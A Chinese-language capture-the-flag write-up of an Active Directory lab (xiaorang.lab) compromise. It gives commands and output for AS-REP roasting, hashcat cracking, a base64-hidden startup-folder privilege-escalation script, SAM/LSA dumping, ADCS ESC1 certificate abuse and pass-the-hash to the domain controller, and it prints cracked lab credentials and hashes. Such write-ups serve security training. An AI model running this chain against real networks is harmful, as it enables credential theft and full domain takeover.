LDAP        172.22.61.17    389    DC               CN=Cert Publishers,CN=Users,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=Domain Admins,CN=Users,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=Domain Users,CN=Users,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=Domain Guests,CN=Users,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=Group Policy Creator Owners,CN=Users,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=RAS and IAS Servers,CN=Users,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=Server Operators,CN=Builtin,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=Account Operators,CN=Builtin,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=Pre-Windows 2000 Compatible Access,CN=Builtin,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=Incoming Forest Trust Builders,CN=Builtin,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=Windows Authorization Access Group,CN=Builtin,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=Terminal Server License Servers,CN=Builtin,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=Allowed RODC Password Replication Group,CN=Users,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=Denied RODC Password Replication Group,CN=Users,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=Read-only Domain Controllers,CN=Users,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=Enterprise Read-only Domain Controllers,CN=Users,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=Cloneable Domain Controllers,CN=Users,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=Protected Users,CN=Users,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=Key Admins,CN=Users,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=Enterprise Key Admins,CN=Users,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=DnsAdmins,CN=Users,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=DnsUpdateProxy,CN=Users,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=wangmei,CN=Users,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=zhangjing,CN=Users,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=wangyong,CN=Users,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=huangyong,CN=Users,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=lixiang,CN=Users,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=chenlei,CN=Users,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=yangjie,CN=Users,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=zhangjun,CN=Users,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=yangdming,CN=Users,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=zhangmei,CN=Users,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=wangrong,CN=Users,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=zhangpeng,CN=Users,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=liuyun,CN=Users,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=Shutdown_group,CN=Users,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=WIN2012,CN=Computers,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=Web,CN=Computers,DC=xiaorang,DC=lab

在 LDAP 的 Distinguished Name(DN,可分辨名称)中,CN 代表 Common Name(通用名称),它通常就是对象的名字

类型 特征 示例
域用户 路径中包含 CN=Users,DC=xiaorang,DC=lab CN=wangmei,CN=Users,DC=xiaorang,DC=lab
域组 路径中包含 CN=Builtin,DC=xiaorang,DC=lab 或 CN=Users,DC=xiaorang,DC=lab CN=Domain Admins,CN=Users,DC=xiaorang,DC=lab
计算机 路径中包含 CN=Computers,DC=xiaorang,DC=lab CN=WIN2012,CN=Computers,DC=xiaorang,DC=lab
域控制器 路径中包含 OU=Domain Controllers,DC=xiaorang,DC=lab CN=DC,OU=Domain Controllers,DC=xiaorang,DC=lab

保存所有用户名

wangmei
zhangjing
wangyong
huangyong
lixiang
chenlei
yangjie
zhangjun
yangdming
zhangmei
wangrong
zhangpeng
liuyun
Shutdown_group

AS-REP Roasting 攻击

什么是 AS-REP Roasting?

这是 Kerberos 认证协议中的一个“功能”被滥用。

Kerberos 认证流程(正常情况)

1. 用户 → KDC:   "我要登录!" (AS-REQ)
2. KDC → 用户:   "好的,这是用你的密码哈希加密的 TGT" (AS-REP)
3. 用户:         用自己的密码哈希解密 TGT,登录成功!

关键点:在正常情况下,KDC 会用用户的密码哈希加密 TGT,只有该用户才能解密。

漏洞利用条件

如果域用户启用了 UF_DONT_REQUIRE_PREAUTH(不需要预认证),KDC 会直接返回加密的 TGT,而不需要验证用户身份。

攻击者可以利用这个特性:

  1. 伪造一个 AS-REQ 请求
  2. KDC 直接返回 AS-REP(包含用用户密码哈希加密的 TGT)
  3. 攻击者拿到这个加密数据,离线暴力破解用户密码
proxychains4 -q impacket-GetNPUsers xiaorang.lab/ -usersfile users.txt -dc-ip 172.22.61.17 -format hashcat -outputfile hashes.asreproast
参数 作用
impacket-GetNPUsers Impacket 工具包中的 AS-REP Roasting 攻击工具
xiaorang.lab/ 目标域名
-usersfile users.txt 从文件中读取用户名列表
-dc-ip 172.22.61.17 指定域控 IP
-format hashcat 输出的哈希格式为 Hashcat 可破解的格式($krb5asrep$23$...)
-outputfile hashes.asreproast 将成功获取的哈希保存到文件
root@kali-server:~# proxychains4 -q impacket-GetNPUsers xiaorang.lab/ -usersfile users.txt -dc-ip 172.22.61.17 -format hashcat -outputfile hashes.asreproast
Impacket v0.11.0 - Copyright 2023 Fortra

[-] User wangmei doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User zhangjing doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User wangyong doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User huangyong doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User lixiang doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User chenlei doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User yangjie doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User zhangjun doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$yangdming@XIAORANG.LAB:55edcf27e96ffd5866ad86a4b624e844$5155e40cbe979953fd3f28132266a75b1e82dfc4b36530747f1b0f692381cec2f25b77a3ace561215b9762d9905182f598da0c08037d6d25eb3e27d2f3d96c0cd42ff97958715d5d1012cefd6a16269fc80cc1cf9e55d8a999a1d68250158f79660b8fc590263d834c19977881e33e034da749aec4b2e3a67cea4815160d49851c350ada3583f6b9f605fc2020fad317d7730ff34b7b10068ad9c9d13f0f0e4fdac19b6f7aac2b027101356f3a3bc293b7e33be147b3aa9b329c7fc59f087189f0ef8b0d267d2402a6a212c1f879c1b1bfea6ee970caf4522b0797548d17860165c7237fe3ad7df1d50a6dc4
[-] User zhangmei doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User wangrong doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User zhangpeng doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User liuyun doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] User WIN2012 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Web doesn't have UF_DONT_REQUIRE_PREAUTH set

hashcat爆破

root@kali-server:~# hashcat -m 18200 hashes.asreproast /usr/share/wordlists/rockyou.txt --show
$krb5asrep$23$yangdming@XIAORANG.LAB:55edcf27e96ffd5866ad86a4b624e844$5155e40cbe979953fd3f28132266a75b1e82dfc4b36530747f1b0f692381cec2f25b77a3ace561215b9762d9905182f598da0c08037d6d25eb3e27d2f3d96c0cd42ff97958715d5d1012cefd6a16269fc80cc1cf9e55d8a999a1d68250158f79660b8fc590263d834c19977881e33e034da749aec4b2e3a67cea4815160d49851c350ada3583f6b9f605fc2020fad317d7730ff34b7b10068ad9c9d13f0f0e4fdac19b6f7aac2b027101356f3a3bc293b7e33be147b3aa9b329c7fc59f087189f0ef8b0d267d2402a6a212c1f879c1b1bfea6ee970caf4522b0797548d17860165c7237fe3ad7df1d50a6dc4:kier@n10

得到一组凭据

yangdming/kier@n10

bloodhound分析域环境

root@kali-server:~# proxychains4 -q bloodhound-python -u yangdming -p kier@n10 -d xiaorang.lab -dc DC.xiaorang.lab -ns 172.22.61.17 -c all --auth-method ntlm --dns-tcp --zip
INFO: Found AD domain: xiaorang.lab
INFO: Connecting to LDAP server: DC.xiaorang.lab
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 3 computers
INFO: Connecting to LDAP server: DC.xiaorang.lab
INFO: Found 18 users
INFO: Found 54 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: Web.xiaorang.lab
INFO: Querying computer: WIN2012.xiaorang.lab
INFO: Querying computer: DC.xiaorang.lab
INFO: Done in 02M 52S
INFO: Compressing output into 20231107142605_bloodhound.zip

image-20260709203603036

域用户 yangdming@xiaorang.lab 是域组 shutdown_group@xiaorang.lab 中的成员

root@kali-server:~# proxychains4 -q crackmapexec winrm 172.22.61.34 -u yangdming -p kier@n10 -X 'whoami /priv'
SMB         172.22.61.34    5985   WIN2012          [*] Windows 6.3 Build 9600 (name:WIN2012) (domain:xiaorang.lab)
HTTP        172.22.61.34    5985   WIN2012          [*] http://172.22.61.34:5985/wsman
HTTP        172.22.61.34    5985   WIN2012          [+] xiaorang.lab\yangdming:kier@n10 (Pwn3d!)
HTTP        172.22.61.34    5985   WIN2012          [+] Executed command
HTTP        172.22.61.34    5985   WIN2012
HTTP        172.22.61.34    5985   WIN2012          特权信息
HTTP        172.22.61.34    5985   WIN2012          ----------------------
HTTP        172.22.61.34    5985   WIN2012
HTTP        172.22.61.34    5985   WIN2012          特权名                        描述               状态
HTTP        172.22.61.34    5985   WIN2012          ============================= ================== ======
HTTP        172.22.61.34    5985   WIN2012          SeShutdownPrivilege           关闭系统           已启用
HTTP        172.22.61.34    5985   WIN2012          SeChangeNotifyPrivilege       绕过遍历检查       已启用
HTTP        172.22.61.34    5985   WIN2012          SeRemoteShutdownPrivilege     从远程系统强制关机 已启用
HTTP        172.22.61.34    5985   WIN2012          SeIncreaseWorkingSetPrivilege 增加进程工作集     已启用

查看其特权,发现该域用户拥有 SeShutdownPrivilege 和 SeRemoteShutdownPrivilege 特权,允许从远程系统强制关闭或重启计算机

关于为什么是打34这台,可以一个个尝试,能打就对

利用系统开机启动项提权

向主机写入以下内容至开机启动目录进行本地提权:

@echo off
net localgroup administrators yangdming /add
reg ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

核心逻辑:利用 yangdming 用户的 SeShutdownPrivilege(关机特权),在系统重启时执行一个脚本,把自己添加到本地管理员组,从而完成提权

关键前提:yangdming 拥有 SeShutdownPrivilege 和 SeRemoteShutdownPrivilege,可以远程重启主机


第 1 行:关闭命令回显

@echo off

作用:不在命令行窗口中显示执行的命令本身,只显示输出结果,让脚本执行过程更“干净”。


第 2 行:将域用户添加到本地管理员组

net localgroup administrators yangdming /add

解析:

部分 含义
net localgroup Windows 本地组管理命令
administrators 本地管理员组(最高权限组)
yangdming 域用户 yangdming@xiaorang.lab
/add 将用户添加到该组

效果:将域用户 yangdming 添加到 WIN2012 主机的本地 Administrators 组中。

为什么这能提权?

  • 之前 yangdming 只是一个普通域用户
  • 现在它成了 WIN2012 主机的本地管理员
  • 拥有对这台主机的完全控制权(安装软件、修改配置、访问所有文件等)

第 3 行:关闭远程管理令牌过滤

reg ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

解析:

部分 含义
reg ADD 添加/修改注册表项
HKLM\...\Policies\System 注册表路径(系统策略配置)
/v LocalAccountTokenFilterPolicy 要修改的注册表值名称
/t REG_DWORD 数据类型是 32 位整数
/d 1 将值设置为 1(启用)
/f 强制覆盖,不提示确认

这个注册表项是干什么的?

LocalAccountTokenFilterPolicy 控制 Windows 对本地管理员账户的远程访问令牌过滤策略:

值 行为
0(默认) 启用 UAC 远程限制:远程连接时,即使是管理员,令牌也会被过滤为标准用户权限(中等完整性),无法执行高权限操作
1(启用) 禁用 UAC 远程限制:远程连接时,管理员令牌不会被过滤,拥有完整管理员权限(高完整性)

通俗理解:

  • 默认(0):即使你是管理员,从 WinRM 远程连接进来,权限也会被“打折”,很多高权限操作做不了
  • 启用(1):远程连接时,你是“真管理员”,可以做任何事

为什么需要这一行?

yangdming 刚被加到本地管理员组,但如果 LocalAccountTokenFilterPolicy = 0,后续通过 WinRM 远程连接时,它的权限仍然会被过滤,无法执行真正的管理员操作。

设置 LocalAccountTokenFilterPolicy = 1 后,WinRM 连接就能获得完整的 Administrator 权限。


完整的攻击流程

┌─────────────────────────────────────────────────────────────────────┐
│  1. yangdming 拥有 SeShutdownPrivilege(关机特权)                 │
│     → 可以远程重启 WIN2012 主机                                    │
└─────────────────────────────┬───────────────────────────────────────┘
                              ▼
┌─────────────────────────────────────────────────────────────────────┐
│  2. 写入提权脚本到开机启动目录                                      │
│     C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\ │
│     脚本内容:
│		  @echo off
│       - net localgroup administrators yangdming /add             │
│       - reg add ... LocalAccountTokenFilterPolicy /d 1           │
└─────────────────────────────┬───────────────────────────────────────┘
                              ▼
┌─────────────────────────────────────────────────────────────────────┐
│  3. 远程重启 WIN2012                                               │
│     shutdown -r -t 0                                              │
└─────────────────────────────┬───────────────────────────────────────┘
                              ▼
┌─────────────────────────────────────────────────────────────────────┐
│  4. 系统重启,自动执行开机启动脚本                                   │
│     ✅ yangdming 被添加到本地 Administrators 组                    │
│     ✅ LocalAccountTokenFilterPolicy = 1(远程管理完整权限)        │
└─────────────────────────────┬───────────────────────────────────────┘
                              ▼
┌─────────────────────────────────────────────────────────────────────┐
│  5. yangdming 现在拥有 WIN2012 的完整管理员权限!                   │
│     可以转储 SAM/LSA、横向移动到其他主机...                        │
└─────────────────────────────────────────────────────────────────────┘
root@kali-server:~# proxychains4 -q crackmapexec winrm 172.22.61.34 -u yangdming -p kier@n10 -x 'echo "QGVjaG8gb2ZmIApuZXQgbG9jYWxncm91cCBhZG1pbmlzdHJhdG9ycyB5YW5nZG1pbmcgL2FkZCAKcmVnIEFERCBIS0xNXFNPRlRXQVJFXE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXFBvbGljaWVzXFN5c3RlbSAvdiBMb2NhbEFjY291bnRUb2tlbkZpbHRlclBvbGljeSAvdCBSRUdfRFdPUkQgL2QgMSAvZg==" > "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\LPE.txt"'

root@kali-server:~# proxychains4 -q crackmapexec winrm 172.22.61.34 -u yangdming -p kier@n10 -x 'certutil.exe -decode "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\LPE.txt" "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\LPE.bat"'

root@kali-server:~# proxychains4 -q crackmapexec winrm 172.22.61.34 -u yangdming -p kier@n10 -X 'shutdown -r -t 0'

root@kali-server:~# proxychains4 -q crackmapexec winrm 172.22.61.34 -u yangdming -p kier@n10 -X 'whoami /priv'
SMB         172.22.61.34    5985   WIN2012          [*] Windows 6.3 Build 9600 (name:WIN2012) (domain:xiaorang.lab)
HTTP        172.22.61.34    5985   WIN2012          [*] http://172.22.61.34:5985/wsman
HTTP        172.22.61.34    5985   WIN2012          [+] xiaorang.lab\yangdming:kier@n10 (Pwn3d!)
HTTP        172.22.61.34    5985   WIN2012          [+] Executed command
HTTP        172.22.61.34    5985   WIN2012
HTTP        172.22.61.34    5985   WIN2012          特权信息
HTTP        172.22.61.34    5985   WIN2012          ----------------------
HTTP        172.22.61.34    5985   WIN2012
HTTP        172.22.61.34    5985   WIN2012          特权名                          描述                       状态
HTTP        172.22.61.34    5985   WIN2012          =============================== ========================== ======
HTTP        172.22.61.34    5985   WIN2012          SeIncreaseQuotaPrivilege        为进程调整内存配额         已启用
HTTP        172.22.61.34    5985   WIN2012          SeSecurityPrivilege             管理审核和安全日志         已启用
HTTP        172.22.61.34    5985   WIN2012          SeTakeOwnershipPrivilege        取得文件或其他对象的所有权 已启用
HTTP        172.22.61.34    5985   WIN2012          SeLoadDriverPrivilege           加载和卸载设备驱动程序     已启用
HTTP        172.22.61.34    5985   WIN2012          SeSystemProfilePrivilege        配置文件系统性能           已启用
HTTP        172.22.61.34    5985   WIN2012          SeSystemtimePrivilege           更改系统时间               已启用
HTTP        172.22.61.34    5985   WIN2012          SeProfileSingleProcessPrivilege 配置文件单一进程           已启用
HTTP        172.22.61.34    5985   WIN2012          SeIncreaseBasePriorityPrivilege 提高计划优先级             已启用
HTTP        172.22.61.34    5985   WIN2012          SeCreatePagefilePrivilege       创建一个页面文件           已启用
HTTP        172.22.61.34    5985   WIN2012          SeBackupPrivilege               备份文件和目录             已启用
HTTP        172.22.61.34    5985   WIN2012          SeRestorePrivilege              还原文件和目录             已启用
HTTP        172.22.61.34    5985   WIN2012          SeShutdownPrivilege             关闭系统                   已启用
HTTP        172.22.61.34    5985   WIN2012          SeDebugPrivilege                调试程序                   已启用
HTTP        172.22.61.34    5985   WIN2012          SeSystemEnvironmentPrivilege    修改固件环境值             已启用
HTTP        172.22.61.34    5985   WIN2012          SeChangeNotifyPrivilege         绕过遍历检查               已启用
HTTP        172.22.61.34    5985   WIN2012          SeRemoteShutdownPrivilege       从远程系统强制关机         已启用
HTTP        172.22.61.34    5985   WIN2012          SeUndockPrivilege               从扩展坞上取下计算机       已启用
HTTP        172.22.61.34    5985   WIN2012          SeManageVolumePrivilege         执行卷维护任务             已启用
HTTP        172.22.61.34    5985   WIN2012          SeImpersonatePrivilege          身份验证后模拟客户端       已启用
HTTP        172.22.61.34    5985   WIN2012          SeCreateGlobalPrivilege         创建全局对象               已启用
HTTP        172.22.61.34    5985   WIN2012          SeIncreaseWorkingSetPrivilege   增加进程工作集             已启用
HTTP        172.22.61.34    5985   WIN2012          SeTimeZonePrivilege             更改时区                   已启用
HTTP        172.22.61.34    5985   WIN2012          SeCreateSymbolicLinkPrivilege   创建符号链接               已启用

提权成功

转储主机上的 SAM 和 LSA 凭证

root@kali-server:~# proxychains4 -q impacket-secretsdump xiaorang.lab/yangdming:'kier@n10'@WIN2012.xiaorang.lab -target-ip 172.22.61.34
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x138599167cd48a7b4d09526ec6522d48
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:c8f9c9d0f45b132dd0ecc0ab84708a83:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Dumping cached domain logon information (domain/username:hash)
XIAORANG.LAB/yangming:$DCC2$10240#yangming#f153c729fda454be46a97043b61c8bba: (2023-09-12 09:37:28)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
XIAORANG\WIN2012$:aes256-cts-hmac-sha1-96:108ffe5cf78deeb42aa15edcca403b9ee494fcae8dadd5c7a7e94fb221ecca87
XIAORANG\WIN2012$:aes128-cts-hmac-sha1-96:827e699ab174e23126d86eb234a9587f
XIAORANG\WIN2012$:des-cbc-md5:615701dfdc5789a7
XIAORANG\WIN2012$:plain_password_hex:0e8705ef55c38dd82f190ef00d8dd4b0a8f221e20f07c51bf850486fa5932863f1bcb92fb3152895b8bd8a18bed05935d3817c311bd02eec5c9c4900fa67a4073468809a52f5575b4ecf6d80f505571287bb661df9b0b95d693f807aeaa0aadb15480a1bf2839d0fb631cda16da51686c761631e5dfd5ae9fa1254039f58013e8a0345315ccbeb35064bc247ac521fb55ab3ffd22bb6a9ff9b5e1166d61158e1000866b32492d23f174a27fdc9bb3bfb514fae87992da30cd7146243c2461072ca433ca7bc50c350123349a724c1e601952d45ae9cbfa57e6ba6bdd30398463cf1c7d3e35f63a0f57625619d89e696fb
XIAORANG\WIN2012$:aad3b435b51404eeaad3b435b51404ee:af2d11a6c5a3addf14ccc2bb9daccaec:::
[*] DPAPI_SYSTEM
dpapi_machinekey:0xa86050e67c2ff5d8441af7c55b6f57e3f794d0bf
dpapi_userkey:0xb70b25ba8b2702cd5ce1e3333fc31c19403a417c
[*] NL$KM
 0000   21 FA 51 78 C6 57 1A 87  AA 4B 3B EE BF 02 D4 E9   !.Qx.W...K;.....
 0010   2F 15 3C 39 CB 62 E7 EE  17 67 AB 41 2F 54 6C 78   /.<9.b...g.A/Tlx
 0020   75 24 68 2D C7 ED 6C A7  B2 6D 77 4C C0 66 FD F2   u$h-..l..mwL.f..
 0030   23 11 E4 56 C2 6B 53 F3  49 06 AF 9B 7B FB FE 00   #..V.kS.I...{...
NL$KM:21fa5178c6571a87aa4b3beebf02d4e92f153c39cb62e7ee1767ab412f546c787524682dc7ed6ca7b26d774cc066fdf22311e456c26b53f34906af9b7bfbfe00
[*] Cleaning up...
[*] Stopping service RemoteRegistry

有本地管理员的

flag

root@kali-server:~# proxychains4 -q crackmapexec winrm 172.22.61.34 -u yangdming -p kier@n10 -X 'type C:\Users\Administrator\flag\flag03.txt'
SMB         172.22.61.34    5985   WIN2012          [*] Windows 6.3 Build 9600 (name:WIN2012) (domain:xiaorang.lab)
HTTP        172.22.61.34    5985   WIN2012          [*] http://172.22.61.34:5985/wsman
HTTP        172.22.61.34    5985   WIN2012          [+] xiaorang.lab\yangdming:kier@n10 (Pwn3d!)
HTTP        172.22.61.34    5985   WIN2012          [+] Executed command
HTTP        172.22.61.34    5985   WIN2012          _________                                  __   ____  ____
HTTP        172.22.61.34    5985   WIN2012          |  _   _  |                                [  | |_  _||_  _|
HTTP        172.22.61.34    5985   WIN2012          |_/ | | \_|__   _   _ .--.   _ .--.  .---.  | |   \ \  / /
HTTP        172.22.61.34    5985   WIN2012          | |   [  | | | [ `.-. | [ `.-. |/ /__\\ | |    > `' <
HTTP        172.22.61.34    5985   WIN2012          _| |_   | \_/ |, | | | |  | | | || \__., | |  _/ /'`\ \_
HTTP        172.22.61.34    5985   WIN2012          |_____|  '.__.'_/[___||__][___||__]'.__.'[___]|____||____|
HTTP        172.22.61.34    5985   WIN2012
HTTP        172.22.61.34    5985   WIN2012          flag03: flag{b63ab7a1-ee82-4d46-b0fb-3b0e66cc8978}

域控

通过 LDAP 查询 ADCS 的配置信息

proxychains4 -q crackmapexec ldap 172.22.61.17 -u yangdming -p kier@n10 -ns 172.22.61.17 -M adcs
部分 含义
-M adcs 加载 ADCS 模块,用于发现和枚举证书服务
-ns 172.22.61.17 指定 DNS 服务器为域控(确保解析正确)
root@kali-server:~# proxychains4 -q crackmapexec ldap 172.22.61.17 -u yangdming -p kier@n10 -ns 172.22.61.17 -M adcs
SMB         172.22.61.17    445    DC               [*] Windows Server 2016 Datacenter 14393 x64 (name:DC) (domain:xiaorang.lab) (signing:True) (SMBv1:True)
LDAP        172.22.61.17    389    DC               [+] xiaorang.lab\yangdming:kier@n10
ADCS        172.22.61.17    389    DC               [*] Starting LDAP search with search filter '(objectClass=pKIEnrollmentService)'
ADCS                                                Found PKI Enrollment Server: DC.xiaorang.lab
ADCS                                                Found CN: xiaorang-DC-CA-CA

最后两行说明域中存在ADCS,证书颁发机构(CA)的名称是 xiaorang-DC-CA-CA

列出所有证书

root@kali-server:~# proxychains4 -q crackmapexec ldap 172.22.61.17 -u yangdming -p 'kier@n10' -ns 172.22.61.17 -M adcs -o SERVER=xiaorang-DC-CA-CA
SMB         172.22.61.17    445    DC               [*] Windows Server 2016 Datacenter 14393 x64 (name:DC) (domain:xiaorang.lab) (signing:True) (SMBv1:True)
LDAP        172.22.61.17    389    DC               [+] xiaorang.lab\yangdming:kier@n10
ADCS                                                Using PKI CN: xiaorang-DC-CA-CA
ADCS        172.22.61.17    389    DC               [*] Starting LDAP search with search filter '(distinguishedName=CN=xiaorang-DC-CA-CA,CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,'
ADCS                                                Found Certificate Template: win2012
ADCS                                                Found Certificate Template: DirectoryEmailReplication
ADCS                                                Found Certificate Template: DomainControllerAuthentication
ADCS                                                Found Certificate Template: KerberosAuthentication
ADCS                                                Found Certificate Template: EFSRecovery
ADCS                                                Found Certificate Template: EFS
ADCS                                                Found Certificate Template: DomainController
ADCS                                                Found Certificate Template: WebServer
ADCS                                                Found Certificate Template: Machine
ADCS                                                Found Certificate Template: User
ADCS                                                Found Certificate Template: SubCA
ADCS                                                Found Certificate Template: Administrator

枚举 AD CS,并检测易受攻击的证书模板

root@kali-server:~# proxychains4 -q certipy find -u 'WIN2012$'@xiaorang.lab -hashes :af2d11a6c5a3addf14ccc2bb9daccaec -dc-ip 172.22.61.17 -vulnerable -stdout
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Trying to get CA configuration for 'xiaorang-DC-CA-CA' via CSRA
[!] Got error while trying to get CA configuration for 'xiaorang-DC-CA-CA' via CSRA: Can't find a valid stringBinding to connect
[*] Trying to get CA configuration for 'xiaorang-DC-CA-CA' via RRP
[!] Got error while trying to get CA configuration for 'xiaorang-DC-CA-CA' via RRP: [Errno Connection error (224.0.0.1:445)] [Errno 111] Connection refused
[!] Failed to get CA configuration for 'xiaorang-DC-CA-CA'
[*] Enumeration output:
Certificate Authorities
  0
    CA Name                             : xiaorang-DC-CA-CA
    DNS Name                            : DC.xiaorang.lab
    Certificate Subject                 : CN=xiaorang-DC-CA-CA, DC=xiaorang, DC=lab
    Certificate Serial Number           : 3D4ADD9E6B35D1B74B725D8B717CEEE8
    Certificate Validity Start          : 2023-09-11 14:56:26+00:00
    Certificate Validity End            : 2028-09-11 15:06:26+00:00
    Web Enrollment                      : Disabled
    User Specified SAN                  : Unknown
    Request Disposition                 : Unknown
    Enforce Encryption for Requests     : Unknown
Certificate Templates
  0
    Template Name                       : win2012
    Display Name                        : win2012
    Certificate Authorities             : xiaorang-DC-CA-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : True
    Any Purpose                         : True
    Enrollee Supplies Subject           : True
    Certificate Name Flag               : EnrolleeSuppliesSubject
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Validity Period                     : 1 year
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Permissions
      Enrollment Permissions
        Enrollment Rights               : XIAORANG.LAB\Domain Admins
                                          XIAORANG.LAB\Domain Computers
                                          XIAORANG.LAB\Enterprise Admins
      Object Control Permissions
        Owner                           : XIAORANG.LAB\Administrator
        Write Owner Principals          : XIAORANG.LAB\Domain Admins
                                          XIAORANG.LAB\Enterprise Admins
                                          XIAORANG.LAB\Administrator
        Write Dacl Principals           : XIAORANG.LAB\Domain Admins
                                          XIAORANG.LAB\Enterprise Admins
                                          XIAORANG.LAB\Administrator
        Write Property Principals       : XIAORANG.LAB\Domain Admins
                                          XIAORANG.LAB\Enterprise Admins
                                          XIAORANG.LAB\Administrator
    [!] Vulnerabilities
      ESC1                              : 'XIAORANG.LAB\\Domain Computers' can enroll, enrollee supplies subject and template allows client authentication
      ESC2                              : 'XIAORANG.LAB\\Domain Computers' can enroll and template can be used for any purpose
      ESC3                              : 'XIAORANG.LAB\\Domain Computers' can enroll and template has Certificate Request Agent EKU set

发现ESC1,请求证书:

root@kali-server:~# proxychains4 -q certipy req -u 'WIN2012$@xiaorang.lab' -hashes :af2d11a6c5a3addf14ccc2bb9daccaec -target 172.22.61.17 -dc-ip 172.22.61.17 -ca xiaorang-DC-CA-CA -template win2012 -upn administrator@xiaorang.lab
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 63
[*] Got certificate with UPN 'administrator@xiaorang.lab'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator.pfx'

root@kali-server:~# proxychains4 -q certipy auth -pfx administrator.pfx -dc-ip 172.22.61.17
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: administrator@xiaorang.lab
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@xiaorang.lab': aad3b435b51404eeaad3b435b51404ee:e26a28fd9daa8a6a4d3c5adbbdcb0f53

得到域管hash之后可以直接哈希传递域控了

root@kali-server:~# proxychains4 -q impacket-wmiexec xiaorang.lab/administrator@172.22.61.17 -hashes :e26a28fd9daa8a6a4d3c5adbbdcb0f53 -codec GBK -shell-type powershell

总结

